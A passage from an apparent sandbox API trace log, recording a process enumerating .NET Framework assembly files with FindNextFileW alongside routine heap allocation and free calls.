dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0089.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.455] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0089.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.457] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0089.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.458] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0089.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.459] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0089.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.461] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0089.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.462] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0089.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.464] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0089.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="")) returned 1 [0089.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="")) returned 1 [0089.465] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0089.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0089.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.468] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0089.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.469] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0089.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.471] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0089.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.472] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0089.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.473] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0089.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.475] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0089.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.475] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.475] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.476] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.476] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0089.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.478] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0089.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.478] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.479] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0089.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.480] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0089.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.482] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0089.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.483] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0089.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef700) returned 1 [0089.485] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0089.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef700 [0089.485] RtlFreeHeap 